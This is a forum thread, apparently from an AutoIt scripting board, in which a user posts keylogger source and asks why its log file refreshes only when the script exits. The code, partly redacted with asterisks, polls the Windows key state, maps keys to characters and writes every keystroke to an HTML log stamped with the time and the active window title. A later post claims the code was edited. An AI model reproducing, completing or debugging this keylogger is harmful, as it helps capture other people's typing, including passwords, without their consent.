Sign in to follow this  
Followers 0
Jussip

Log File Reflesh

3 posts in this topic

#1 ·  Posted (edited)

After spending quite a bit of time looking at the various examples about keylogging softwares, i tried to create one of my own.

But, the log file refleshes only when the script is closed, what is wrong? I've tried allkinds of filecloses and stuff, but none of them aint working. Ill delete this topic when the problem is solved, so every newbie wont get the code for their bad(?) purposes..

CODE
hotkeyset('{esc}', 'halt')

Opt("TrayIconHide", 0)

;Set up a two dimensional array to handle all relevant keys

*****

;Set up Log File Information

$window2=""

$date=****

$logDir=**

$logFile='log.html'

$file = ***1)

If $file = -1 Then

Exit

EndIf

filewrite($file,"")

;Main Loop

$key = ''

while 1

for $i = 0 to 82

$key = $keys[$i][0]

If _IsPressed($key) AND $keys[$i][1] = '0' Then

;Trap for letters being pressed.

if dec($key) > 64 and dec($key) < 91 Then

;Trap for Shift being pressed.

If _IsPressed('10') Then

_LogKeyPress(chr(dec($key)))

Else

_LogKeyPress(chr(dec($key) + 32))

EndIf

$keys[$i][1] = '1'

ExitLoop

EndIf

;Trap for numbers being pressed.

if dec($key) > 47 and dec($key) < 58 Then

;Trap for Shift being pressed.

If _IsPressed('10') Then

if _IsPressed('30') then _LogKeyPress(chr(41)) :)

****

****

'****

*****

****

*****

if _IsPressed('39') then _LogKeyPress(chr(40)) ;(

Else

_LogKeyPress(chr(dec($key)))

EndIf

$keys[$i][1] = '1'

ExitLoop

EndIf

;Trap for Space

If dec($key) = 32 Then

_LogKeyPress(chr(dec($key)))

$keys[$i][1] = '1'

EndIf

;Trap for other printable special characters

if $i > 16 and $i < 28 Then

If _IsPressed('10') Then

if _IsPressed('C0') then _LogKeyPress(chr(126)) ;~

if _IsPressed('BD') then _LogKeyPress(chr(95)) ;_

if _IsPressed('BB') then _LogKeyPress(chr(43)) ;+

if _IsPressed('DB') then _LogKeyPress(chr(123)) ;{

if _IsPressed('DD') then _LogKeyPress(chr(125)) ;}

*******

********

*******

******'

*******

EndIf

$keys[$i][1] = '1'

ExitLoop

Endif

else

;Check for Key Release

If _IsPressed($key) then

else

$keys[$i][1] = '0'

endif

endif

next

wend

;===================================================================================================

Func halt()

exit

EndFunc

;===================================================================================================

Func _IsPressed($hexKey)

Local $aR, $bRv

$hexKey = '0x' & $hexKey

$aR = DllCall("user32.dll", "int", "GetAsyncKeyState", "int", $hexKey)

If $aR[0] <> 0 Then

$bRv = 1

Else

$bRv = 0

EndIf

Return $bRv

EndFunc

;===================================================================================================

Func _LogKeyPress($what2log)

$window=wingettitle("")

if $window=$window2 Then

FileWrite($file,$what2log)

Else

$window2=$window

FileWrite($file, "

" & " ["& @Year&"."&@mon&"."&@mday&" "&@HOUR & ":" &@MIN & ":" &@SEC & '] Window: "'& $window& '"

'& $what2log)

Endif

EndFunc

;===================================================================================================

Edited by Jussip

Share this post


Link to post
Share on other sites



#3 ·  Posted (edited)

i edited my post now. its not anymore a keylogger.

any way to reflesh a log file?

and pls people dont get too smart here, im just normal person asking normal questions.

Edited by Jussip

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!


Register a new account

Sign in

Already have an account? Sign in here.


Sign In Now
Sign in to follow this  
Followers 0